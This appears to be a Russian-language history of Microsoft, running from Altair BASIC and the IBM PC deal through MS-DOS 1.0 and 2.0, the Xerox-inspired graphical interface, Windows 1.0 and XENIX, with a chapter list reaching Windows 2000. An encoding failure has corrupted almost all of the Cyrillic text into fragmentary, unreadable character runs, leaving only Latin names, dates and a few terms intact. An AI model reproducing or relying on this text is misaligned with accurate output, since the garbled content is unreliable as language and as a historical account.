O 稭 㤠 OS/2, ᪮ 
O 室 Windows 3.0,  ᭮ ⢨
O   ஢ 窨 GECOS
O 樮 ⥬ DR-DOS
O 室  Microsoft  ⫥, 砫 ࠡ  Windows NT
O 稭  ୮ Windows NT     ⢮
O  Windows 95
O ᮢ   MS-DOS  Windows 95
O   UNIX  Windows NT
O 䫨 Microsoft  Netscape
O  Windows 98
O ꥤ Windows 98  Windows NT  Windows 2000
O ஧  Microsoft
砫 ⢮  , ࠭, ⥬ .   砫 筨  .    ࠭筮  -    ᬥ .   ந諠    - . ப ᪨㫠 , ,   ᥬ,      .    , ⠪ ,     ⭮, ᢥ⫮ ,  ਬ 㡨 த   - 㦠᭠ ,  筮 .  , 筨 , த   ᨫ,    - . 砫 ᮧ . ࠭  த  ࠪ - ॡ  ⥬  - .     ࠪ ந諨   -   ࠤ ᢥ  - .  ࠧ  ,  ⠫ ᬥ  㣠   .
᪮  ⢮७ 
  ᥬ - 砫 쬨   ⮢ ஢ ਫ  堮. ⪨ ࠧࠧ , ᮢ⨬   㣮,  뭮, ।  ᯥ ᥢ 孨᪨ 襭.  ந⥫ ࠧࠡ뢠 ᢮ 㭨   몠 BASIC [115], ᮢ襭  뢠  ७ᨬ ணࠬ ᯥ祭 (祬,  ⮣ ⢮ ணࠬ ᯥ祭?). ࠪ᪨  設 ।⠢﫠 <  ᥡ>, 몠  ⠢塞   ஬  (  ६ ணࠬ ࠭﫨 ᪫⥫쭮  ). 饭  㣨 짮⥫ﬨ 뫮 ࠪ᪨ , -   ᯥ稢 ७ᨬ   ஢ ,   BASIC ࠧ砫  ᮡ  ᪨  ᪨. 祭 ணࠬ஢ ॡ  , ᠭ  ⮬ ᮡ⥩ ⭮ ,  ⨢ 砥  室 ᫨ ᠬ⥫쭮.  ᠬ  -   ࠪ᪨  業  室   .   모  室 ࠡ뢠 , - - 﫨    .
ᨫﬨ  IBM, Intel  Microsoft  堮 ⥯ ॢ⨫  ᮢ६ . ᪠  ,   ᮢ襭,  ᯮᮡ 뤥ঠ  ନ ணࠬ⮢  பନ  襥 ⢮ 짮⥫.    Microsoft,   ⬠     ࠧ⨥ ணࠬ  ⭮ ᯥ祭   㤠.
 楫 ⮬ ୮ 뭪 ।쭮 , - ந⥫ ᮧ , ணࠬ    ,  짮⥫   㯠. 祬, ,  ந室 , 짮⥫ 㯠 ,    ணࠬ ᯥ祭,  ணࠬ  ணࠬ   㯠 ஢. 砥   -   ,  -    ⮫⮩ 㡮 ਪ ⮢,   ⠭  㯠,   ᭮  ணࠬ   ࠭⨩ ᯥ譮 ॠ樨?
᪨,  筮 த⥫ ஬⮪ ६,   ᯮᮡ  ॡ㥬 ⢮ ணࠬ ᯥ祭,  ࠪ᪨   㬨ࠫ ॥, 祬 ணࠬ ᯥ  㬥.     뫨 ᯮᮡ  誨? ५뢠    ,  ⠥ 㤨 䠭⠧ ஢. <஢ ᥬ > - ᥬ   ?  襢 ᯮ짮  ஬? (ਬ,  1986   <஭> ⮨ 600 㡫  5-6 ।  ௫, -      室  ஢,   㯨 ⠪   ࠧ㬭 ப). <ᯮ짮  ஭  >.   ᭠    ⥫  ஬ ⥫஬   ⢨ ਭ. <:㢫⥫쭮 ஢ ६>. ! ! ᪠ 㡮  ᮢ६ ,  ⮣  룫拉 ⠪ !  ந⥫ 業 ⠡ ᯥ⨢  﫨 ஢묨 ⠢.
⨬       ⮢ ࠬ.   ⮣ ॡ  ᮧ ⠡㥬 , ᯮᮡ 騢 ᢮ 魮   ᮢ⨬.  ᮭ     뭮筮 த 뫨 ᯮᮡ  㯭 ௮樨.    ன 㤠 - ६ தঠ   㧨,  ࠭   ᪠뢠 ⢨  ࠧࠡ⪨  ஥⮢  ।  室  ᢠ ਨ.     ⠢ SPECTRUM-ᮢ⨬ ,   ⥪ ᤥন ࠧ⨥ ⮩ ,  ⮩稢 ९ ஢  ࠭稢 뭮 ॡ⥫.
 Microsoft 뫮  ⭮   ப஢.      ࠧࠡ⪮ ஢ BASIC, ⨢ த   뭮.  砫   1975 ,        ५  ᮧ ᨨ BASIC  ப Altair (⠨).  ⮬ ६  㦥   ࠧࠡ⪨  ணࠬ, ⨢     ᨪ  PDP-8,  ,   । ஡  .
᪮쪮  㡮  㦤!       ⨢  <⠨> 뫮 ᫨! <:ᮧ ᨪ  "⠨"   ⥫.   ᠬ 室    ᪠稢  ᫥ - ⠪   ।  -  -  㬠, 㬠, 㬠:   ਮ     ᯠ  ⠫   .   ᢠ ᮭ,  믠  ⮫   .  ⤥    祣        .   5   ᠫ ᢮ ᨪ -  த ࢠ   , ࠧࠡ뢠 ணࠬ  ப஢.      Microsoft> -     ᢮  <ண  饥>.
 Microsoft த   묨 பࠬ  ⨢ ᮤ⢮  ࠧ.  ⮣  (ப)   ⥫ ਭ 쥧.   ⠨ த  ᯫ  , - ய Intel 8080, ᮥ  ⭠ ᢥ⮤, ணࠬ஢ ⭠ 묨 ४⥫ﬨ, 뭥ᥭ묨  । . ⥫ ⠢﫨 ᢥ⮤ ६ ᠬ 㤫 ࠧ,  ⠫  㪠  ⠫ (⤠ 397 ஢  ᯮ ?!).  ஬ ᨪ  㬥 ᮢ 㪮⢮  MITS, ᪠襩  .
 짮⥫ 諠  , -   ᠬ⥫쭮   ணࠬ  ᯮ짮 ⠨  㤮    ⮢ (  壠    ᨤ).  ꥬ த ᨪ    , ४  ஬ ୮ [116]. 稭 祢 - ⢮.  ॡ⥫  ⮢ 뫮 ஢ ࠡ⠭ 죨,  த 㯭  ᯫ⭮.
  ,  Microsoft  ᮡࠫ  宬  த ᮢ襭⢮ ᢮ 몠. १   ᮢ -ந⥫ ᮭ ஢, 騥  ਡ ᫥ . ।     Apple, DTC, General Electric, NCR,  ⠪  㣨.
  Microsoft  몠  ᨪ, -  1977   ⨫ FORTRAN  砫 ⨢ 㤭  Commodore  Radio Shack. ᪮  ॠ COBOL  ய஢ 8080, Z-80  8085. ᮪ ⢮  (  祭 ୮ ணࠬ஢  ᥬ - ⭮,  䠪!), ⫨筠 ᮢ⨬ ࠧ ᨩ 몮 Microsoft, ᤥ  த ⠭⮬ -䠪  ᯥ稫 ᯮ⢮   ⥫쭮  뭪.
⢥⮥ ५ 1979  ⠫    ⥫  , -     ᨪ  ய Intel 8080 稫 ६ ICP   ஢.  ࠤ, 祭  , ⠭ ࢮ ࠤ Microsoft.   㣮   ᢥ  ᨪ  16-ࠧ來 設, ᭠饭  ஬ Intel 8086.


१ <砭> *




ந室騥   ᮡ ᨫ쭮 﫨   ᨩ᪨ (⮣  ᮢ᪨) ந⥫, ᪫   ⮬  饬 ᨪ. ࠡ稪 ண    砫, ணࠬ, 稭騥 ⨣   祭 ᨪ, ⢥     楫.  , ⮡  﫮 ᮢᥬ  ⠪ ( ⮩ ,      ६, 稭  ᨪ,    蠫    ᥬ,  ᢮ ),  ᨪ   稫 ࠧ  ணࠬ⮢   ⭮ 祣  筮  ਭ  - ।  .
,   蠫  Microsoft ⮬   몮 ᮭ ஢,    ᫮ ।⢮,   ᪮쪮   誨 ⠭   㦭,  ணࠬ஢  ᨮ,  ᨪ  㤨.  ७  ந⥫ﬨ <쥧> 몮 Microsoft    뤥ঠ [117].
 ६,  , 뭮 ᮭ ஢   ᪮쪨 ⪮  設    த  騬 ⥬.      ப 㡨 ३,    祩 ᥣ 뭪     ਡ  ᢮ 㪠 ⪨ ந⥫.
 IBM,   ६ ᯮਬ   ந⢥ ,  ⨫  訡,  ଥ DEC  ந⢮ ஢  ॡ⥫  <騬> 襫쪮.  IBM ᮪୮ ஢  <ॡﭨ>, DEC 㬥 ਢ  ᥡ ஬ ⢮ 㯠⥫  ⮫쪮 襣,   । ,  ⨬ ஭ த ண ३ IBM.
  ୮ 㯠    ࠡ, 㪮⢮ IBM ਭ﫮 襭:  砩訥 ப  묨 ᨫﬨ 墠 뭮 ᮭ ஢, ⨢ ᮡ⢥ , ⥫쭮 ॢ室  ७⮢. ࢮ砫쭮 ஢ ਮ   㦥  , - 䨭ᮢ  IBM 﫨 ஢ ⠪  ᮢ襭 .   ⥭樠 ⥭⮢ - Apple  Tandy,  ᫥ ⬠㫨 ࠪ᪨ ࠧ, -  ଠ ᪠  - ३, 誨, , ⥫䮭:   뫨   ᮬ,  짠 ⠪ ਮ⥭ 룫拉 祭 ᮬ⥫쭮. , IBM ⮨ ⠭ ᢮ 롮  Apple,   Apple ९ ९ <쥧> , ਥ஢  ⥫,      ந⢥ 魮⥩.
⮬, 㪮 IBM 祣  ⠢ ,  ਭ 襭 ࠧࠡ뢠 ᮭ  ᠬ⥫쭮.    뢠    ஢,  稫  <>  㯯 ஢ [118],   ᭨ ᪮쪮     ⨢ 㬥 ࠡ.     (Lewis Eggebrecht) ࠧ訫 㯠 ⮢   ஭ ந⥫,   ࠧࠡ뢠 (  ᢮⢥  IBM)  㧫  ᠬ⥫쭮.
,  騩   ஥஢ , ⨫    ଥ Microsoft, ࠢ , ࠧ  Microsoft  ᨪ  ⪮  ஢,      ᨫ  ᫠ ஭ <६ >,   猪  ᢮  쭮 .
 Microsoft ⢨⥫쭮  ᢮ ᮮࠦ   . 筮   㡥 㪮⢮ IBM ⠭ 롮  ண饬 16-ࠧ來 . ⥫ 8-ࠧ來 稯  﫨 ᮢ  64   [119]  室 ᪮॥  ⥫᪨ 誨, 祬  쥧 .  㤮஦  - 砫 ᥪ ⥭樠 㯠⥫. ᫥  ᨩ 롮 ⠭  ய Intel 8088 - 16-ࠧ來 稯  8-ࠧ來 設 .  ࠧ,    ப  8-ࠧ來묨 (  ६ 8-ࠧ來 奬 ⮨ ⢥ 襢 ᢮ 16-ࠧ來 ᮡ쥢),  ணࠬ ᯥ祭 㫨஢ 16-⮢묨 ﬨ,   ᯥ⨢   ७ᥭ  Intel 8086 -  16-ࠧ來 稯.
᮪ ⮨ [120] ⥫   ᪮ ।⠢﫠 ᮡ ⢥ ஡, -    ᬥ  ᪮      ᭠⨫  䮭 ஬, 饣 ࠭ ணࠬ   㤨.   砩   訫 騩 ᨪ,   ⠢ 짮⥫      設.  㣨 Microsoft 諨   .
 ᨪ  IBM PC   ⥭   , ஬ <ୠ⨢  >. ணࠬ⠬  짮⥫  ⭮ ࠡ 뫠 室 樮 ⥬. ᪠ ਬ⨢, 㡮,  㬥   ᪠  㦠 ணࠬ  .
 <樮 ⥬>   ६ ᠫ    ,  設⢮ ࠧࠡ⮪  室  ஢  ᮧ⥫. ଠ Microsoft 業  ᯥ⨢   㧨 㯨  ࠧࠡ⪥ ᢮ ᮡ⢥ .  ⢨  ᮧ த⮢ ⠪ த, 筥 ᥣ 뫮  ᯥ樠, ᯥ樠饣  ஥஢ 樮 ⥬  ப஢.
   ᠬ ६, [121]  Digital Research ࠧࠫ ७ 䫨.   8086 ஢ 樮 ⥬ CP/M-86   頭 ப  ⮢,  騩 ࠧࠡ稪  ᮭ ४ ᠬ  㯨  ࠧࠡ⪥  樮 ⥬. ,  १  ७,   ᢮ 㤮⢨ ⨫  Microsoft [122],  ᬮ  ⥬,   ࠢ.  ஢  ᫠ ஭ CP/M-80, ࠭  ⮬ ᭮ 㭪樨  設⢮  ,    樨 饣 ணࠬ ᯥ祭 [123].




 룫拉 MS-DOS 1.0, ࠭塞 ௮樥 IBM   PC-DOS 1.0



 ⥬ 稫  MS-DOS, (Microsoft Disc Operations System)  㬥頫 ᥣ    ⨢ .  ᨫ쭮 ᬠ娢  CP/M -  諮 ᫮⮥ ࠭祭 <ᥬ ᨬ   䠩   -  ७> (⮣  뫮 ⠪ ,  室  ᥬ ),  㪢  ᪮ ("" "B" "C" - 祬 "" ⮣   ⢮).
  ᫠  CP/M -  㫨஢ ⤥묨 ⠬  ᪥ - 쭮 ᪮ 楩  128-⮢ , 楫 㦠  ⨢     ⥭.  MS-DOS  প ᪮  䠩 (CP/M 﫠   ᫮ ,  䠩).  ࠤ UNIX,  ਩묨 ன⢠ -뢮 ⠫   --   䠩,    ⨬   প ७ࠢ -뢮.
ந諨    ࠢ 㧪 ᯮ塞 䠩.  CP/M ⢮   ⨯ ᯮ塞 䠩 - com, ।⠢騩 ᮡ <᫥>    ணࠬ, 㥬 樮 ⥬    - .  ⠪   㦥 ஢⢠, -  com-䠩   ॢ ࠧ  ᥣ (-  64 ), ⮬    ᯮ짮 ⭮⥫쭠 , 뢠  砫 ᥣ.  ⨢ 砥 ॡ  㪠 ᮫  ,   뫮 , -  ࠭ ⭮    樮 ⥬ 㧨 䠩.  १  ଠ exe ( executable), ⨢ ᯮ騩  殮 ᪮쪨 ᫥ ⨫⨩.  ⫨稥  com, 㧪 exe 䠩 ந室 ᫮ ࠧ, 樮 ⥬ ࠧ頥     ᪮쪨 ᥣ,   ⭮⥫ 뫪 ᮫묨 ᠬ,  ⮫쪮 ᫥ ⮣ । ணࠬ ࠢ.
 , ⤥  , ४祢  ⤥ 䠩 - command.com,   ࠧࠡ稪     ᢮ ᮡ⢥  [124].  ⫨稥  祪 UNIX,   MS-DOS  ⮫쪮 㬥 㦠 ணࠬ  ᪠,   ᮤঠ  㯮ॡ塞 , ⠪  "dir", "cd", "md", "del"  㣨.  ਥ ⥫쭮 ᪮ ࠡ  묨 ᪮묨 ⥫ﬨ.
㣨  ᮢ襭⢮ - 稥 FAT  প  (bat) 䠩 ⥫쭮 뤥﫨 MS-DOS  䮭 ⥬ CP/M,  饩 ᫥묨  ⮨⢠.
६  ᪫ 㣠  ᬥ  MS-DOS,   ⥬ ६  ᬮ५ 쬠 ணᨢ   㤮⢮﫠  冷 짮⥫  ணࠬ.   : 뭮   । 墠뢠  ᮢ襭 孨᪨ ,  㤠 થ⨭ 室.  , MS-DOS 뫠  ,   室 ࠦ  ᫥묨 ७⠬.
᫨ ,  ⢥ত  모, 楫 Microsoft 뫨  죨, ⮫쪮 죨, - ,         MS-DOS ஭ 㬬 :     <> ७⮢ 稫  IBM  ᤥ < ,  믫 ।  ࠢ  ᯮ짮 樮 ⥬  ⮫쪨 , ᪮쪮  㬥 ॠ>.
   ᮡࠫ  ⢮⥫쭮, -  ᬮ५  饥. , 㦤 , 墠 뭮, ਢ 짮⥫  ࠧࠡ稪  ᮡ⢥ 樮 ⥬. ᪠,  ⮬ ⠯  ⥫ 䨭ᮢ ,  㯨 ᪮ ᫥ ᨩ, ᫨ 㤠 뤥ঠ   ७⠬.
  .   IBM  ⨬ த MS-DOS  뭮, த  ᥣ  60 ஢,   ६  㡮 CP/M-86 ⮨ ஥ ஦ (175$),  UCSD Pascal P-System 室 ॡ⥫ ਡ⥫쭮  450$.
, ன 業 ⨪ 諮 ஢ <ᠦ> 㯠⥫  ᢮ .  ᪫  ⠪  <> [125],      ᯠਢ ਤண ।⢥ த.  MS-DOS  ⮫쪮 襢 ⮨,   㤮⢮﫠  ॡ⥫, -    ⠫  㯠?
 㯠 MS-DOS ⮫쪮 ,   ⪮ ६  ⠫ ⠭⮬ -䠪,   ⠭  IBM PC -  樮 ⥬ 設   室  .    業 ⨪   ᯥ   ⪮ ७⭮ 졥 - ⢮   ६ ⢮  ⥫쭮  ⠡,  ᥩ.   拉 ࠭, ⠪ , ᪨ , ⢥ ᯮᮡ ࠭ ணࠬ ᯥ祭 뢠  쭮 ஢   㣠.
 MS-DOS,  ࢮ  IBM PC Microsoft ᮧ  ணࠬ ⮢,  모 ணࠬ஢ COBOL, BASIC, Pascal  㣨 ਫ.  ᠬ 砫 Microsoft  ⠢  ணࠬ⮢, - ᫨ ணࠬ    MS-DOS,   짮⥫  ⠭   樮 ⥬.  ᢮ । ࠧࠡ稪 ⠭ ᮧ ਫ  MS-DOS, ਥ  ᮢ ॡ⥫ ( ணࠬ   ணࠬ  ⥬,      ⠭?).  㯠⥫,  뢠, 롥 MS-DOS, ६ ਮ   ஬ ⢠ ணࠬ ᯥ祭, ᠭ  ⮩ 樮 ⥬. <:祬  㯠  設, ⥬  ணࠬ ᮧ   .   ⨣ ᮪ ஢ ୮, 稭 横 ⥫쭮 ⭮ 裡,  ꥬ த   ⠥>, - ᠫ    ᢮  <ண  饥>.
  ᤥ  蠣   客 <ணࠬRணࠬR짮⥫Rணࠬ>?  ਭ ࠧࠡ뢠 ਫ   樮 ⥬,  㡥   ୮ । 짮⥫?  짮⥫ ਮ 樮 ⥬, ᫨   ࠪ᪨   ਫ?
  室   㯨 -  ଠ-ࠧࠡ稪 , ᠬ⥫쭮 稭 ࠧࠡ뢠   ணࠬ ᯥ祭,  ਢ ணࠬ⮢ ᥬ 㯭묨 ⮤.  Microsoft ४ ᫮ <  栬 :> ࠫ  .
 㯨  ࠧࠡ⪥  ⮢  த । ணࠬ஢, ६ ਢ ணࠬ⮢  㬥஢ 樮 ⥬  ஢ ࠧ ७権, ᮡ࠭  ᥬ஢. ᪠,  ந室饥 뢠 롪 ᨮ (ᬮ  < ᮧ  樨 UNIX> "-  1993    ਣᨫ . ,  㯨  樥. 뫮  த,  ⮬ ᫥  ᮨ. 蠫   ஭  ᬥ誮.  㯫    DOS-  ᮠ ᨪ  뢠   祣, ஬ १⥫쭮 ᬥ誨:"),   Microsoft 뢠 ᨬ⨨  稭 ࠧࠡ稪 ( - 稭)   ⠭   .
<, 祣     > ᯮ   [126] <୥ 㤠- 㣠   ⮡   뭮. ᮡ  ᯮ ᪮쪮 쪨 ,  ࠧࠡ⪮  ய 稯,  ணࠬ ᯥ祭, ,    ,       뭮 ணࠬ த⮢ ⠪,    .
஬ ⮣, ᥣ ⢮  ⠪ ஧: -  㯭 ந⥫ ᫨⥫쭮 孨 쬥   ᬠ⠡ ணࠬ ᯥ祭 ᢮  設     ய஢. IBM  DEC  楫 ⥪  ணࠬ.  㭠  ⢥㫠  Microsoft:    쥧 ந⥫ ⠪   ⠫ ७ ⥪  ணࠬ ᯥ祭 ᢮ ஢   "ᮭ">.
ᯥ 襫  , - 㦥   1982   ⨤ ந⥫ ᮭ ஢ ਮ५  Microsoft 業  MS-DOS 1.0. 設⢮ ஢ த  㦥 ⠭ 樮 ⥬  Microsoft. ⨬ 室  -०  ,  筮 ९  뭪  㦥 ⠫   ᢮ 饥:    ।ਭ﫨 ७, ணࠬ ᯥ祭,   MS-DOS,    ⮩ ⥬ 祧   .
 ९  㦤 Microsoft  । , - ᮢ襭⢮ 樮 ⥬, 㤮⢮ 騥 ॡ 㯠⥫.  ⨬㫮  ࠡ⪥ MS-DOS ⠫  ମ IBM ᮭ쭮  PC XT, ।   ᭠饭 ⪨ ᪮  10 .  த ᫥ ஡: FAT ࠭稢 ᨬ쭮 ⢮ 䠩   ⥫.  ᪥ ⠪ ࠭祭 ⢥  ।   ᥡ ,  ⪨  - ᮢᥬ 㣮 .  ᫨ , ࠡ⠢ FAT, Microsoft 㬥    ⮣ ࠭祭,    짮⥫ ᬮ ࠧ  砬 䠩, ᢠ묨   ᯮ冷 ?
  MS-DOS ᨫ쭮 室   UNIX -    ᪠ 䠩 ⥬  ⠭ ࠩ ன. 筮, 㠫쭮   筮 -०  뫮,   㬠 -   ஦   UNIX!  ᮦ,      稭, ࠧࠡ稪 ᯮ짮  ࠧ ⠫  ᫥, -   ᫥  ࠢ ( , -    让?).
 ࠢ 䠩 ந諨 ⥫ .  ᬥ 㤮  FCB, 祭  ᫥⢮  CP/M,  MS-DOS  ਯ, ⥫쭮 ⨢訥 樨  - ⥭.




MS-DOS 2.0



१ <ଠ

[127]>

  - 1983 

: Intel 8088/8 

: 256 

 : ⥫  360- 5,25"  ᪠,

10- ⪨ 

: 12" ஬  ⮩ Hercules

: MS-DOS 2.0

: 4995 .




 ⥬ 㭪樨  ⮫쪮 㤠,    ᫥   ௥  ॢ樮 .  ⠪ ࠢ ணࠬ⠬,  設⢮   ⠫  ணࠬ, ॡ騥    MS-DOS 2.0,  㦥  ࠡ騥   CP/M,   MS-DOS 1.0
 ᢮ । 짮⥫ 室  MS-DOS 2.0 ࠤ ᮢ⨬  묨 ணࠬ.  ⭮ ५   Microsoft ⥪⮢ । Word 1.0  MS-DOS 2.0.  ᪮ [128] ୥ ।⨥ ௮樨 Microsoft - ଠ VisiCorp ᮧ  ஭ ⠡, ࠡ  ࠢ MS-DOS,  ॡ,  ࠩ , 512    ⪮ ᪠  ਤ.  ⨢ ᯮᮡ⢮ ᠦ 짮⥫    ( ⥬ ६  䨣   ⠢ ᪮).
 ⪮ ६ CP/M 㫠  ᮪ ਨ,  IBM ⪠  ࠧ Pascal-P System,   뭪 樮 ⥬  ᮭ ஢  म ⢥ ⠫  Microsoft. ,   ஦  ,  ᮡ ࠧ .
짮⥫ ஢ ᥣ    , -           㭨쭮 ।⢮ ६ ஢, - 祬 ᫮ 뢠 , ⥬ ᭥ ⠭  祭.  ᭮ 㯠⥫ - ᬥ  ન, ਭ ,  ᪨  -  㬥 ᢮ ࠡ  㬠 ⥪⮢ 䥩    뢠  ࣠,  ᪮॥ ᬥ ࠧ஢  ᮦ.
 ᪨ 㣨   ࠧࠡ⪮ 몮 ணࠬ஢,   ᥬ⨪  ࠧ୮ ⥪,  ᫥⥫᪮ 業 Palo Alto Research Center (ࠧ  XEROX) ⮫㫨  ⭮ ⨥, - ,   ஬ ⠭ ⥫쭮 ,   䥩 ।⠢ ᪨ ࠦﬨ. ਬ,  뢮 ⥪     ࠦ   ਭ. ⮨ ⮫쪮  :   宥 ।⢮ ६饭   ࠭ (,   , ஡ ࠡ  Windows  ?), ⮬ ࠬ 諮 㯨  ࠧࠡ⪥ , ᪮஢ ᯥ樠쭮  ࠢ ஬. १ ஥ ६ ⠪ ன⢮ 㤠 ࠧࠡ   ⤠ 室⢮  墮 㭮,  ⨫ <> (mouse).  ᥩ ᪨ 䥩  ᠬ祢  ᠬ ᮡ ࠧ㬥騬,       㤠 , ⠪ ᯮᮡ 饭  ஬      室!
 ⪮ ६  뭪  ࠧ  ᪨ ⥬ - XEROX Star  Apple Lisa.  ண (ਬ, ⮨ Lisa ॢ蠫 10  ஢), ஥    ᮡ⢥ ࠧࠡ⪨,   祬  ᮢ⨬, ࠪ᪨  騥  ணࠬ ᯥ祭, , ᬮ  騥 ⪨,   뢠  㯠⥫,   ६ ᥡ 祭  ⥪⮢ 䥩. ⮬, ᪨  뫨  ᨢ  ஢뢠 ॡ⥫  ᢮ . 祬,  MS-DOS   䨭誨   ⨫ WIMP-䥩ᮬ (wimp  ॢ  ᪮ 뢠⥫, ,     ६  ॢ  Windows, Icons, Mice, Pointers - , ⮣ࠬ, , ⥫).
⪨ - ⪠,    ।⢮: ⥪⮢ 䥩 ᪮筮   தন. ⮨ ⮫쪮 誠,  ७  , ⮫  (, 쭮 !)  ન ਨ.  㤮 ᪮ ⥬ -  쥧  ᥣ ॡ ⭨ ᨫ ⢠ ணࠬ⮢.  Microsoft  ⮣ ६ ᮢᥬ  ⠫  䨪      ⠪ ࠧࠡ⮪ [129].
   ᪨  - 10  1983 ௮ Microsoft   砫 ࠧࠡ⪨ Windows - ᪮ ।  IBM XT.  ᠬ  ,  訫 <ࠪ⨪  誠>, ਭ ⨥  ᮧ Apple Macintosh.  ᭮ 㤭⢥   㤠 ᮧ  ᪨ 䥩 (,  Macintosh ⬥祭 ⯥⪮ Microsoft). ⠫  ,  㯠 ମ XEROX, ࠧࠡ稪 ᨫ     , , ,  﫨 - ᫨誮 ॣ㦥 䥩 ᡨ 짮⥫ ⮪ ᨫ쭥 筮  ப.  砫   - 모뢠 ᥣ 譥,  ⮫쪮 㤠 모.    ࠧࠡ稪 ⤥﫨 ⪨  殮 ࠡ,  쭮  㬥  㦥  । 쬨.
    ⠭ 㯠,     ⮫⮩ 㡮 ணࠬ ᯥ祭.    ,  Apple     ᮧ ᭮ ணࠬ ᯥ祭   ࠡ    Microsoft.  ७᫠ Microsoft Word  樮 ⥬ Macintosh (୥,  ९ᠫ  ࠪ᪨  ,  Word 1.0 ਥ஢ ᪫⥫쭮  ⥪⮢ 䥩),  ᮧ ஭ ⠡ Microsoft Excel, ਮ 모 ࠧࠡ⪨ ᪨ ਫ.
᫨   ஬  Apple,  Macintosh  ⪮ ६ ᬮ 墠 뭮, ᭨ ⠫ ७⮢.  ⨢ , ४ ᥬ ᮢ⠬  , ⪠ த 業 ந⢮ Macintosh ஭   ॢ⭮ ⨫ ⥪, ᪨ 䥩  ᠬ 樮 ⥬ ⢮ ⥭⮢. <  ࠤ樮 室, ᢮⢥  ந⥫ 㤮:   ணࠬ ᯥ祭 - 㯨  > ᠫ  .
 ண  ࠢ  ᪮, - ஬ ந⢥ 魮 Apple  ᬮ 㤮⢮   㯠⥫  ,     , ६㫨  㣨 ⠢騪.  ᥣ  Microsoft  ⪠  祭 業  १ ᮢ⭮ ࠧࠡ⪨ ( ⠪ - ணࠬ஢ , , :     <>).
⮬,  祣  ⠢,  㯨  ࠧࠡ⪥ ᪮ 樮 ⥬ ᠬ⥫쭮. 㤮魮 ⠢  祭 䨪, ࢠ  Windows 諠  ᢥ 20  1985 , - ⥫쭮 ⠢  Macintosh [130]. ஬  ய Intel 8086  ࠭祭 ꥬ    ॠ  㬠 .   筮, - 짮⥫  ६ 뢠 ᪮쪮 ,  ४  ,  ४⨩   ᪠,  譥 窠 ᨫ쭮 ᬠ娢  Microsoft Word  MS-DOS,   ᪮ ᯮ.

㭮 068  룫拉 Windows 1.0
 ௮⨢    ६ ⨢ ᯮ짮 WordPerfect  Lotus 1-2-3, ࠡ騥  ࠢ MS-DOS,  Windows    㦭.  Microsoft ਫ ⥫ ᨫ  த Windows  뭮,  ਫ  প 23 ந⥫ ୮ 孨 [131]  ᪮쪨 㯭묨 ᥫࠬ ணࠬ ᯥ祭, த஢  Windows  ⠢ COMDEX,    ⭮, - 뭮   ᮧ५. 짮⥫ 㦥 ᯥ ਢ몭  ⥪⮢ ० MS-DOS,   筮    ப, - ᭮  ६ 室 ࠡ   ਫ.
 ᢮ Windows (   ,  ᮧ ᢮  ணࠬ  Windows, -  ⭨ ⨥ ப     म 뢮  ࠭ <ਢ, !>) ⠫ ணࠬ⮢,    १ 室  ਢ筮 ⪨ MS-DOS  ஦૨ 誨.
,  ⠪ ᫮ ࠧࠡ 樮 ⥬ [132],  ᪫ 짮⥫  ணࠬ⮢   ᯮ짮.  ,  MS-DOS   ࠨ,   <訫>  <뫮>   ⥫. ⮬, ௮ Microsoft, ࠧ஢ १⠬ প ஭ , 砫 ⨢ ⢮ ᠬ⥫쭮.


१ <砭>




 㦭 ⬥    ⨫ ࠡ Microsoft:  ᢮⢥  ᪫  ᪮ 室,  ⮢ ⮩稢  ⭨ ஥, ᯥ  ᭠砫  祭 祢  ⨣ ⥬  , ᬮ  ਮ ன 쬠 쥧 㤠. ᯥ 襫  Windows ⮫쪮  砫 90-    ᨨ 3.1 -  ⮣ 砫 ᮢ 室 짮⥫   MS-DOS  Windows.
३ ᮢ <६ Windows NT 稫, !  孮 ⠭ ⠭묨>
 蠣  த Windows ⠫ । 㬥  ࠧࠡ⮪ ਫ  Windows ᨬ த栬 ணࠬ ᯥ祭.     Microsoft  ⠢ 㬥樨  த.  稫  , ⮡ ᮢᥬ  ,  ॡ ஬ ᨫ  祭,   맢  ࠧࠡ稪. ᢠ Windows  ᫥ ন ணࠬ, - ,   諠  . <㤠 뢠  ⮫ 㬠  ᪥ 뫮 砫쭮 ᨥ  Microsoft Windows Software Development Kit (SDK)   ஬ .  ࠫ   , ⠫஢ SDK ,  ᫥  楢 뢭 㤠, ⠫ ணࠬ⮬  Windows.  ६ ⮣ ᯥਬ  祭    㬥樥,   ࠧ 室     ⮬,     ᭨ ᮤন ⮣  ࠧ , 祬   Microsoft> - ᯮ . ⧮.
 ६,  ⭮ ᭠饭 ᮭ ஢ ந諨 쥧 . ஭ IBM ।⠢ ᢮  ࠧࠡ -  PC AT, ᭠饭  ⪨ ᪮, 㢥祭 ꥬ ⨢    த騬 ய஬ Intel 80286.  窨 ७ 짮⥫ 稯 Intel 80286 ࠡ⠫,  ࠩ ,   ࠧ ॥, 祬 Intel 8086,   ணࠬ⮢  ᮡ⨥ 砫  襥 । 㢥祭 ந⥫쭮.  ய 砫  ᥡ , ࠭ 㯭  訬 設! ।  - প 筮, 㠫쭠 ,  ࠭:   ᮧ  PC , 饭 樮 ⥬.


१ <砭>

[133]

  - 1986

: Intel 80286/10 

: 640 

 : ⥫  1,2- 5,25"  ᪠,

20- ⪨ 

: 14" 梥⭮ CGA

: MS-DOS 3.2

: 3995 .




  MS-DOS 筮 ਭ樯쭮  ।ᬠਢ,      ᮢ⨬  騬 ணࠬ ᯥ祭 뫮 . ⮬, Microsoft ਮ५  ௮樨 AT amp;T 業  ਣ  UNIX  ७᫠   PC, ⭮ ࠢ ⥫ ⢮ 訡    <ᬥ᪨> ᮢ襭⢮.  ⥬ 稫  XENIX,  ⠫   UNIX, ࠡ騬  IBM PC [134].  ᢮ ॡ⥫  ⠪   諠 - ,  ࠡ⠫  UNIX, ७०⥫쭮 ⭮ᨫ  PC,   ࠡ⠫  PC,  祣  ᫨  UNIX  㦥 ਢ몫  <樮 ⥬> MS-DOS. ᪮ ⥬ XENIX 뫠 , ⠪    ॡ,  諮,   ணࠬ⮢  祭 . ( ᫮ ᪠, Microsoft ᮢ⭮    Santa Cruz -⠪ ⨫ XENIX 2.0, -  㤠  ந諮,   ࠧ 砫  ᢮ ।⢥).
௥ 㤠  XENIX, Microsoft ⨫  ᮢ襭⢮ MS-DOS,    1984 ⨫    .  窨 ७ 짮⥫  ॢ樮    ௥,  ᭮ ⫨ 砫  প     ⪨ ᪮.   ᠬ  ,  ࠣ  뫨  ९ᠭ,  祣 ந⥫쭮 ⥬ ⨬ ᨫ [135].
